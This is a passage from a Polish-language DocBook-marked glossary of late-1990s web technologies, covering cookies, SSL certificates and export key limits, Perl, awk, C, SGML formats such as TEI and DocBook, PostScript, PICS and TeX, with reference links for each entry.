<ULINK URL="http://www.projectcool.com/developer/reference/netscapecss.html" ROLE="htmlurl">Project Cool</ULINK>
przedstawiający część DHTMLa (a
zwłaszcza CSS) interpretowaną przez
<PRODUCTNAME CLASS="TRADE">Netscape Communicator</PRODUCTNAME></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="COOKIE">
<TITLE>Cookie</TITLE>
<PARA><EMPHASIS>Cookie</EMPHASIS>
jest mechanizmem (wymyślonym przez
Netscape) przechowywania stanu klienta (na lokalnej maszynie UA) przy
kolejnych żądaniach kierowanych do serwera. Wykorzystuje
nie zdefiniowany w HTTP/1.1 nagłówki
<COMMAND MOREINFO="NONE">Set-Cookie</COMMAND>
i 
<COMMAND MOREINFO="NONE">Cookie</COMMAND>
. 
Powstała też (częściowo niezgodna z Netscape)
propozycja przechowywania stanu klienta firmowana przez IETF (RFC).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.rm.com.pl/rm/wpa.htm" ROLE="htmlurl">``Webmaster. Podręcznik administratora''</ULINK>
ss. 95-97</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/newsref/std/cookie_spec.html" ROLE="htmlurl">Client Side State - HTTP Cookies</ULINK>
--- Netscape</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2109.txt" ROLE="rfc">RFC 2109</ULINK>
<EMPHASIS>PS</EMPHASIS>
D. Kristol, L.
Montulli,
<EMPHASIS>HTTP State Management Mechanism</EMPHASIS>
02/18/1997 (Liczba stron=21)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="SSL">
<TITLE>SSL</TITLE>
<PARA ID="SSL-COTO">Co to jest SSL?</PARA>
<PARA ID="SERWERY-SSL">SSL --- <PRODUCTNAME CLASS="TRADE" LANG="eng"><INDEXTERM ID="IDXSSL">
<PRIMARY>Secure Socket Layer
&#60;/&#62;&#60;/&#62; </PRIMARY>
</INDEXTERM></PRODUCTNAME>
--- protokół bezpiecznej komunikacji między klientem a
serwerem, stworzony przez Netscape. SSL w założeniu jest podkładką pod
istniejące protokoły, takie jak HTTP, FTP, SMTP, NNTP i telnet.
Powszechnie jest używane głównie HTTPS (HTTP na SSL). SSL zapewnia
trzy rzeczy:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>prywatność --- połączenie jest szyfrowane</PARA>
</LISTITEM>
<LISTITEM>
<PARA>autoryzację --- klient i serwer określa swoją tożsamość</PARA>
</LISTITEM>
<LISTITEM>
<PARA>integralność przesyłanych danych --- przez sumy kontrolne</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>Ze względu na sposób dokonywania autoryzacji SSL jest protokołem
scentralizowanym, inaczej niż np. PGP. Jest on oparty o grupę
instytucji certyfikujących ---
<LITERAL MOREINFO="NONE">Certyfing
Authorities,</LITERAL>
w skrócie
<LITERAL MOREINFO="NONE">CA,</LITERAL>
które opatrują swoim podpisem certyfikaty poszczególnych
serwerów. CA z założenia są godni zaufania, a uzyskanie podpisu wymaga
przedstawienia szeregu dowodów tożsamości. W ten sposób wchodząc na
serwer legitymujący się certyfikatem jednego ze znanych CA mamy
pewność że serwer rzeczywiście jest tym za który się podaje.</PARA>
<PARA>SSL przewiduje użycie trzech rodzajów certyfikatów:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><SYSTEMITEM MOREINFO="NONE">certyfikat CA</SYSTEMITEM>
Zbiór
informacji reprezentujących tożsamość danej instytucji certyfikującej.
Obecność podpisu danego CA na certyfikacie serwera oznacza, że CA
zaakceptował dowody przedstawione przez firmę występującą o podpis i
swoim certyfikatem poświadcza autentyczność serwera.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SYSTEMITEM MOREINFO="NONE">certyfikat serwera</SYSTEMITEM>
Zbiór
informacji reprezentujących tożsamość danego serwera. Certyfikat
serwera musi być opatrzony podpisem CA.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>certyfikat osobisty</EMPHASIS>
Znacznie mniej
rozpowszechnione są certyfikaty klienta --- firmy promujące używanie
tego certyfikatu nazywają go "cyfrowym paszportem". Wraz z podpisem
odpowiedniego CA pozwala potwierdzić Twoją tożsamość jako klienta.
Więcej informacji można znaleźć na stronach:</PARA>
<PARA><ULINK URL="http://digitalid.verisign.com/crp_intr.htm" ROLE="htmlurl">VeriSign,</ULINK></PARA>
<PARA><ULINK URL="http://www.thawte.com/certs/personal/overview.html" ROLE="htmlurl">Thawte Consulting</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>certyfikat atrybutu</EMPHASIS>
Zaproponowany przez
Netscape jako rozszerzenie istniejących certyfikatów. Sam w sobie nie
stanowi dowodu tożsamości. Wśród głównych zastosowań wymienia się np.
przyznawanie tymczasowych praw podpisywania certyfikatów. Więcej
informacji można znaleźć na liście
<ULINK URL="http://lists.w3.org/Archives/Public/ietf-tls/msg00796.html" ROLE="htmlurl">IETF-TLS.</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>W tej chwili istnieją dwie specyfikacje SSL:</PARA>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/newsref/std/SSL_old.html" ROLE="htmlurl">SSL 2.0</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/eng/ssl3/" ROLE="htmlurl">SSL
3.0</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>Wersja 3.0 ma poprawione wiele słabości SSL 2.0 oraz umożliwia
kompresję danych. SSL 3.0 jest wstecznie kompatybilne z 2.0.</PARA>
<PARA ID="JAK-POLACZENIA-SSL"><EMPHASIS>Jak nawiązuje się połączenie SSL?</EMPHASIS></PARA>
<PARA>Podając w URLu protokół
<LITERAL MOREINFO="NONE">https.</LITERAL>
Na
przykład:
<LITERAL MOREINFO="NONE">https://www.verisign.com/</LITERAL>
Oczywiście, nie z każdym serwerem WWW można się połączyć
przez SSL. Jednak praktycznie wszystkie serwery mające coś wspólnego z
zakupami przez Internet na to pozwalają. W Netscape i MSIE bezpieczne
połączenie jest oznaczane przez złączenie złamanego kluczyka w lewym
dolnym rogu ekranu.</PARA>
<PARA>  Adresy portów zarezerwowane dla protokołów działających                 
  w oparciu o TLS i SSL można znaleźć pod adresem:                        
<ULINK URL="http://www.isi.edu/in-notes/iana/assignments/port-numbers" ROLE="htmlurl"></ULINK></PARA>
<PARA ID="KTORE-SSL"><EMPHASIS>Które przeglądarki obsługują SSL?</EMPHASIS></PARA>
<PARA>Z najpopularniejszych: Netscape, MSIE i Lynx.</PARA>
<PARA>Niestety amerykańskie prawo nakłada ograniczenia (ITAR) na eksport
programów zawierających zaawansowane algorytmy kryptograficzne, wobec
czego Netscape i MSIE są rozpowszechniane w dwóch wersjach:
eksportowej (klucz 40-to bitowy) i amerykańskiej (128-mio bitowy).
Ostatnimi czasy klucze 40-bitowe kilkukrotnie łamano dla wykazania
niesłuszności ITAR i nie można ich uznać za bezpieczne.</PARA>
<PARA>Amerykańskie prawo przewiduje jeden wyjątek dla wielkości klucza używanego
podczas połączenia SSL: połączenie z serwerem posiadającym specjalny
certyfikat do wystawiania którego jest obecnie uprawniona jedynie firma
VeriSign i jest on wydawany głównie bankom. Konsekwencją tego kroku jest
fakt, że przeglądarki fizycznie zawierają kod umożliwiający używanie kluczy
o pełnej długości, jest on jedynie zablokowany. W przypadku Netscape istnieje
darmowy program 
<ULINK URL="http://www.fortify.net/" ROLE="htmlurl">Fortify</ULINK>
umożliwiający odblokowanie wspomnianych procedur. Po uruchomieniu Fortify
przeglądarka może używać kluczy o pełnej długości bez żadnych ograniczeń.</PARA>
<PARA>Oficjalnie wersji 128-mio bitowych nie wolno eksportować ze Stanów,
ale oczywiście już dawno zostało to zrobione i można je sobie ściągnąć
z Europy. Inne rozwiązanie to użycie programu
<ULINK URL="http://stronghold.ukweb.com/safepassage/" ROLE="htmlurl">SafePassage,</ULINK>
który działa jako serwer proxy i pozwala
korzystać z 128-bitowego SSL nawet eksportowym wersjom przeglądarek.</PARA>
<PARA><ULINK URL="http://lynx.browser.org/" ROLE="html">Lynx-SSL (oparty o
wersje 2.7 i 2.8)</ULINK>
używa kluczy 128-mio bitowych. Obsługa SSL
w Lynxie jest w tej chwili bardzo ograniczona (brak zarządzania
certyfikatami lub jakiejkolwiek konfiguracji SSL), ale działa
poprawnie.</PARA>
<PARA>Jest jeszcze jeden program z kluczem 128-mio bitowym --- WorkHorse
(pod MS Windows), przeznaczony z założenia do
<EMPHASIS>home-bankingu.</EMPHASIS>
Z tego powodu ma słabo rozbudowane
wodotryski i obsługę HTMLa, za to bardzo bogate funkcje zabezpieczania
transakcji (PGP, PEM, ECheque, SSL) i inne, równie interesujące.</PARA>
<PARA>Wszystkie wymienione programy można ściągnąć z
<ULINK URL="ftp://ftp.replay.com/pub/replay/pub/browsers/" ROLE="htmlurl">ftp://ftp.replay.com/pub/replay/pub/browsers/</ULINK>
(Holandia) lub
z polskiego mirrora
<ULINK URL="ftp://ftp.icm.edu.pl/pub/security/replay/browsers/" ROLE="htmlurl">ftp://ftp.icm.edu.pl/pub/security/replay/browsers/</ULINK></PARA>
</SECT1>
<SECT1 ID="ONE">
<TITLE>ONE i plug-in</TITLE>
<PARA><EMPHASIS>ONE</EMPHASIS>
czyli
<EMPHASIS>Open Network Environment</EMPHASIS>
Netscape jest technologią (środowiskiem programistycznym)
pozwalającą łatwiejsze i szybsze tworzenie dynamicznych,
wieloplatformowych aplikacji sieciowych. W swoich dokumentach NC pisze
o tym, że bazują na ,,otwartych, publicznych standardach dostępnych na
każdą platformę''. (Jeśli to są standardy internetu, to zazwyczaj dość
pokracznie interpretowane... --- jak choćby rozmaite ,,extentions''
HTMLa).</PARA>
<PARA ID="PLUG-IN"></PARA>
<PARA><EMPHASIS>Plug-In (wtyczka)</EMPHASIS>
jest technologią pozwalającą
na rozszerzenie możliwości przeglądarki czytania rozmaitych formatów
dokumentów --- np.: <PRODUCTNAME CLASS="TRADE">Adobe PDF</PRODUCTNAME>, 
CorelDraw, rysunki wektorowe, pliki
różnych dziwnych ,,procesorów tekstów'', animacje.</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://developer.netscape.com/docs/manuals/communicator/plugin/index.htm" ROLE="htmlurl">Plug-in Guide @ Netscape</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cc.com.pl/nav/plugins/plugin.html" ROLE="htmlurl">lista plug-inów wg firmy CC</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="PERL">
<TITLE>Perl</TITLE>
<PARA><EMPHASIS>Practical Extraction and Report Language</EMPHASIS>
czasem
nazywany jest też
<EMPHASIS>The Pathologically Eclectic Rubbish Lister</EMPHASIS>
[za:]
<COMMAND MOREINFO="NONE">man perl</COMMAND>
jest skryptowym językiem rozwijanym przez początkowo przez Larrego
Walla pozwalającym na łatwe, szybkie operacje na tekstach, a także ---
co stanowi jego przewagę nad tak wspaniałym narzędziem jakim jest
<PRODUCTNAME CLASS="TRADE">awk</PRODUCTNAME>
lub
<PRODUCTNAME CLASS="TRADE">gawk</PRODUCTNAME>
--- na dostęp do wszelkich funkcji
systemu.</PARA>
<PARA>Pozwala nie tylko na rozmaite działania na dokumentach w trakcie ich
przygotowywania, ale także łatwe i wydajne tworzenie programów
<LINK LINKEND="CGI">CGI</LINK>
dostęp do baz danych... Posiada ponoć (nie
zauważyłem ;-) wysoce złożona i nieklarowną składnie, zorientowaną
jednak na szybkie pisanie programów. Często można wypisać w jednej
linijce zadania które np. w
<PRODUCTNAME CLASS="TRADE">C</PRODUCTNAME>
trzeba było napisać w formie kilkudziesięciu
liniowego programu.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://language.perl.com/info/synopsis.html" ROLE="htmlurl">What is Perl?</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="man:perlbook" ROLE="html"><COMMAND MOREINFO="NONE">man 1 perlbook</COMMAND></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/CPAN/" ROLE="htmlurl">CPAN</ULINK>
--- Comprehensive Perl Archive Network</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.perl.org/" ROLE="htmlurl">Perl Institute</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.perl.com/perl/" ROLE="htmlurl">The Perl Home
Page</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:chris@camk.edu.pl" ROLE="mailto">Krzysio
Leszczyński</ULINK>
<EMPHASIS>Perl</EMPHASIS>
(w:)
<ULINK URL="http://www.Linux.com.pl/" ROLE="htmlurl">Linux+</ULINK>
2/
3/1997 (ISSN 1427-55-62) (a witrynie L+ dostępne są dwa pierwsze
artykuły cyklu).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://pipeta.chemia.pk.edu.pl/Perl/" ROLE="htmlurl">Wprowadzenie do Perla</ULINK>
<ULINK URL="http://www.memax.krakow.pl/cassel/" ROLE="person">Kazimierz Pietruszewski Jr</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.kt.agh.edu.pl/other/perl_p.html" ROLE="htmlurl">Krótki opis Perla</ULINK>
opracował
<ULINK URL="http://www.kt.agh.edu.pl/%E7jchris/index.html" ROLE="person">Krzysztof Juszkiewicz</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>A. Dawidziuk, P. Bolek
<ULINK URL="http://www.gust.org.pl/PDF/BIUL/07/04-ad-pb.pdf" ROLE="htmlurl">Perl w przetwarzaniu tekstów</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ora.com/catalog/pperl2/" ROLE="htmlurl">Programming Perl (the Camel Book)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ora.com/catalog/lperl/" ROLE="htmlurl">Learning Perl (the Lama Book)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>kolekcja Earla Hooda
<ULINK URL="http://www.oac.uci.edu/indiv/ehood/perlWWW/" ROLE="htmlurl">perlWWW</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="news:pl.comp.lang.perl" ROLE="news">grupa
<FILENAME MOREINFO="NONE">pl.comp.lang.perl</FILENAME></ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="AWK">
<TITLE>awk</TITLE>
<PARA>jest o wiele prostszym (a zastosowaniach typu przetwarzanie tekstów
równie wydajnym) narzędziem od
<EMPHASIS>Perla</EMPHASIS>
czy
<EMPHASIS>C</EMPHASIS>
Napisany w późnych latach 1970tych przez
Alfreda Aho, Peter Weinberger i Briana Kernighana posiada składnię
zbliżoną do C, przy swobodniejszym podejściu do deklarowania zmiennych
i wykorzystywaniu niedostępnych w tej formie w C wyrażeń regularnych.
Dodatkową zaletą jest to że należy do standardowego wyposażenia Unixa,
a i DOSowe implementacje są i ładne (jak na
<PRODUCTNAME CLASS="TRADE">*-DOSa</PRODUCTNAME>
) i szybkie ;-)</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="news:comp.lang.awk" ROLE="news">grupa 
<FILENAME MOREINFO="NONE">comp.lang.awk</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.gust.org.pl/PDF/BIUL/07/03-bl-tp.pdf" ROLE="htmlurl">AWK. Opis języka z przykładami</ULINK>
B. Lichoński,
T. Przechlewski</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ora.com/" ROLE="htmlurl">awk, sed</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="C">
<TITLE>C</TITLE>
<PARA>Język C --- uniwersalne narzędzie programowania, charakteryzujące się
prostota wyrażeń, nowoczesną strukturą danych i bogatym zestawem
operatorów oraz uniezaleznieniem od konkretnego komputera czy systemu
operacyjnego. Stworzony we wczesnych latach 1970tych przez Dennis
Ritchie i od razu użyty do przepisania systemu Unix (z asemblera?).</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Thomas Boutell
<ULINK URL="http://www.boutell.com/cgibook/" ROLE="htmlurl">CGI Programing in C &amp; Perl</ULINK>
<ULINK URL="http://www.aw.com/devpress/" ROLE="htmlurl">Addison-Wesley
Publishing Comp.INC</ULINK>
(ISBN 0-201-42219-0)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.iso.ch/cate/d17782.html" ROLE="htmlurl">ISO/IEC 9899:1990 C Language</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Kernighan Brian W., Ritchie Dennis M.:
<EMPHASIS>Jezyk ANSI C</EMPHASIS>
tłum. z ang. D. i M. Kruszewscy; Wyd. 2; Warszawa: WNT,
1997; B5, 358 s., 21 rys., 5 tabl., oprawa miekka; ISBN 83-204-2152-7;
cena 29,00 zł
<ULINK URL="http://www.wnt.com.pl/" ROLE="htmlurl">WNT</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="HYPERWAVE">
<TITLE>HyperWave</TITLE>
<PARA><EMPHASIS>HyperG,</EMPHASIS>
a także
<EMPHASIS>HyperWave</EMPHASIS>
są pomysłem na rozszerzenie możliwości HTTP/HTML o:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>pełną (przeszukiwalną) bazę serwowanych dokumentów (z ,,kolekcji'')
(.htz) (wraz z możliwością podzielenia tej bazy na wiele maszyn)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>wielowariantowość dokumentów (po to by wstępnie zapoznać się z treścią
serwowany jest dokument tekstowy/HTML, do wydruku idzie DVI, lub
PostScript)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>określona struktura (hierarchia) dokumentów</PARA>
</LISTITEM>
<LISTITEM>
<PARA>serwowanie i pobieranie dokumentów tak w ramach standardu HyperG jak i
standardów określających WWW.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www2.iicm.edu/hgcourse/" ROLE="htmlurl">Kurs HyperG</ULINK>
<ULINK URL="mailto:kandrews@iicm.edu" ROLE="mailto">Keitha
Andrewsa</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="news:comp.infosystems.hyper-g" ROLE="news">grupa
<FILENAME MOREINFO="NONE">comp.infosystems.hyper-g</FILENAME></ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="WYSIWYG">
<TITLE>WYSIWYG</TITLE>
<PARA><ABBREV LANG="en">WYSIWYG</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">What You See Is What You Get</PRODUCTNAME>
(inne nazwy:
<ABBREV LANG="en">WYSIAWYG</ABBREV>
<PRODUCTNAME CLASS="TRADE">(What You See
Is Almost What You Get)</PRODUCTNAME>
lub
<ABBREV LANG="en">WYSIMOLWYG</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">What You See Is
More or Less What You Get)</PRODUCTNAME>
--- jest sloganem reklamowym próbującym opisywać sytuację, 
gdy zawartość dokumentu wygląda podobnie
w czasie edycji na ekranie i w formie wynikowej (czy to na wydruku,
czy w formie np. strony WWW). Wiąże się z tym jednak kilka kłopotów:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>bardzo trudno łączy się automatykę tworzenia dokumentu z dowolnymi
zmianami dokonywanymi przy pomocy myszki. (Jedyne znane mi przykłady
poprawnego rozwiązania tego problemu to
<ULINK URL="http://www.corel.com/" ROLE="htmlurl">WordPerfect &lt;
= 7.0.
for GUI</ULINK>
(,,normalny edytor'' tekstów, posiadający na bieżąco
również podgląd psedokodów sterujących) i
<ULINK URL="http://www.deamwaver.com/" ROLE="htmlurl">MacroMedia Dreamweaver</ULINK>
(korzystający z CSS Positioning i możliwości ,,ręcznego''
poprawiania kodu HTMLa). Poza tym jeszcze programy typu mocne DTP
pewnie też to potrafią.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>ciężko operować na logicznych strukturach tekstu. Co prawda większość
narzędzi tego typu oferuje jakąś formę predefiniowanych styli w formie
,,rozdział'', ,,nagłówek'' ale tylko nieliczni użytkownicy potrafią z
tego korzystać.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>tworzy się iluzję, że każdy może poprawnie tworzyć dokumenty</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="TEI">
<TITLE>TEI</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE" LANG="en">Text Encoding Inciative</PRODUCTNAME>
jest międzynarodowyp projektem badawczym, mającym za cel stworzenie
zestawu podstawowych wytycznych (Guidelines) na temat tekstów
elektronicznych. Sponsorowany i koordynowany jest przez:
<SIMPLELIST TYPE="VERT">
<MEMBER>Association for Computational Linguistics (ACL)</MEMBER>
<MEMBER>Association for Literary and Linguistic Computing (ALLC)</MEMBER>
<MEMBER>Association for Computing and the Humanities (ACH).</MEMBER>
</SIMPLELIST>
Efektem tych prac jest ,,Guidelines for the encoding and
interchange of machine-readable texts'' pod redakcją
C.M.Sperberg-McQueen and Lou Burnard (Chicago and Oxford, ALLC-ACH-ACL
Text Encoding Initiative, 1994). Wytyczne te dostępne są pod adresem
<ULINK URL="http://www-tei.uic.edu/orgs/tei" ROLE="url"><FILENAME MOREINFO="NONE">http://www-tei.uic.edu/orgs/tei/</FILENAME></ULINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://xtalk.price.ru/SGML/TEItools/" ROLE="htmlurl">TEItools</ULINK>
Borisa Tobornasa do konwersji z TEIlite na różne
formaty</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="HYTIME">
<TITLE>HyTime</TITLE>
<PARA><ABBREV LANG="en">HyTime</ABBREV>
czyli
<PRODUCTNAME CLASS="TRADE">Hypermedia/Time-based Structuring Language.</PRODUCTNAME>
jest
przemysłowym, międzynarodowym
<ULINK URL="http://www.iso.ch/cate/d29303.html" ROLE="html">(ISO/IEC 10744:1992)</ULINK>
standardem dystrybucji i tworzenia dokumentów
multimedialnych, zwłaszcza muzycznych.</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.HyTime.org/" ROLE="url"><FILENAME MOREINFO="NONE">http://ww.HyTime.org/</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.drmacro.com/" ROLE="htmlurl">Eliot Kimber's
HyTime Course</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>HyMinder:
<ULINK URL="http://www.Techno.com/" ROLE="htmlurl">TechnoTeacher, Inc</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.softquad.com/panorama/viewer/" ROLE="htmlurl">SoftQuad Panorama</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="DOCBOOK">
<TITLE>DocBook</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">DocBook</PRODUCTNAME>
jest nieformalnym,
opartym na
<PRODUCTNAME CLASS="TRADE">SGMLu</PRODUCTNAME>
standardem
przemysłowym wymiany dokumentacji oprogramowania (zwłaszcza
podręczników).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.ora.com/davenport/" ROLE="htmlurl">Davenport Group (dawny opiekun DocBook DTD)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA> 
<ULINK URL="http://www.oasis-open.org/docbook" ROLE="htmlurl">DocBook @ OASIS </ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Norman Walsh
<ULINK URL="http://nwalsh.com/docbook/xml.html" ROLE="htmlurl">,,DocBk30 XML DTD''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Ziemek Borowski (zapiski ze spotkania Warszawskiej Grupy Użytkowników
Linuksa).
<ULINK URL="http://faq-bot.ziembor.waw.pl/etext/SGML/docbook/" ROLE="htmlurl">DocBook jako format dokumentacji technicznej dla
Linuksa</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="LINUXDOC">
<TITLE>LinuxDoc</TITLE>
<PARA><APPLICATION MOREINFO="NONE">LinuxDoc</APPLICATION>
jest opartym na
SGMLu, korzystającym z nazw styli LaTeXa formatem danych
wykorzystywanym w
<TRADEMARK CLASS="TRADE">Linux Documentation
Project</TRADEMARK>
. Dostępny pakiet
<ULINK URL="http://pobox.com/%E7cg/sgmltools/" ROLE="htmlurl"><PRODUCTNAME CLASS="TRADE">SGML-Tools</PRODUCTNAME></ULINK>
pozwala na prostą
konwersję do LaTeXa (a stamtąd do PostScriptu i PDFa), groffa, GNUinfo,
czystego tekstu i HTMLa.</PARA>
</SECT1>
<SECT1 ID="POSTSCRIPT">
<TITLE>PostScript</TITLE>
<PARA>jest proceduralnym, niezależnym od urządzenia wyjściowego, językiem
programowania wyspecjalizowanym w opisie strony/grafiki. Pierwsza
wersja jego specyfikacji została ogłoszona w 1985 roku przez Adobe
Systems jako
<PRODUCTNAME CLASS="TRADE">PostScript</PRODUCTNAME>
---
język opisu stron wykorzystywany w drukarkach, naświetlarkach --- na
styku komputer-papier. Potem, 1990 roku, powstała wzbogacona o obsługę
kolorów wersja
<PRODUCTNAME CLASS="TRADE">PostScript Level 2.</PRODUCTNAME>
Wykorzystuje odwzorowania wektorowe, potrafiąc
jednocześnie przetwarzać grafikę rastrową. Wykorzystuje własny format
fontów (Type 1) zarządzanych w środowisku
<PRODUCTNAME CLASS="TRADE">MS Windows</PRODUCTNAME>
przez
<PRODUCTNAME CLASS="TRADE">Adobe Type
1 Manager</PRODUCTNAME>
<ABBREV>ATM</ABBREV>
Z racji powszechności
drukarek wyposażonych w jego interpretator, ścisłego odwzorania wydruku
stał się popularnym formatem wymiany gotowych materiałów.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>PostScript Language Reference Manual (Second Edition) published by
Addison-Wesley (ISBN 0-201-18127-4).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cs.wisc.edu/%E7ghost/index.html" ROLE="htmlurl">Ghostscript</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="PICS">
<TITLE>PICS</TITLE>
<PARA><ABBREV>PICS</ABBREV>
<PRODUCTNAME CLASS="TRADE">Platform for
Internet Content Selection</PRODUCTNAME>
jest protokołem
umożliwiającym ocenę i wybór poszczególnych miejsc w pajęczynie przy
pomocy rozproszonego systemu ocen.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/REC-PICS-services-961031.html" ROLE="htmlurl">PICS Rating Services and Rating Systems</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/REC-PICS-labels" ROLE="htmlurl">PICS
Label Distribution Label Syntax and Communication Protocols</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="TEX">
<TITLE>TeX i LaTeX</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">TeX</PRODUCTNAME>
jest systemem składu
drukarskiego przetwarzającego polecenia specyficznego języka
programowania na postać niezależną od urządzenia wyjściowego: w
pierwszej kolejność na pliki
<PRODUCTNAME CLASS="TRADE">DVI</PRODUCTNAME>
, a potem na
<LINK LINKEND="POSTSCRIPT">PostScript.</LINK>
Pozwala na używanie dowolnego formatu grafik, bogatego zestawu
fontów (tak rozprowadzanych z TeXem jak i PostScriptowych) czy
wreszcie na dowolne programowanie składu.</PARA>
<PARA>Autorem
<PRODUCTNAME CLASS="TRADE">TeXa</PRODUCTNAME>
jest profesor
Donald Knuth z Uniwersytetu Stanforda w Stanach Zjednoczonych. Nazwę
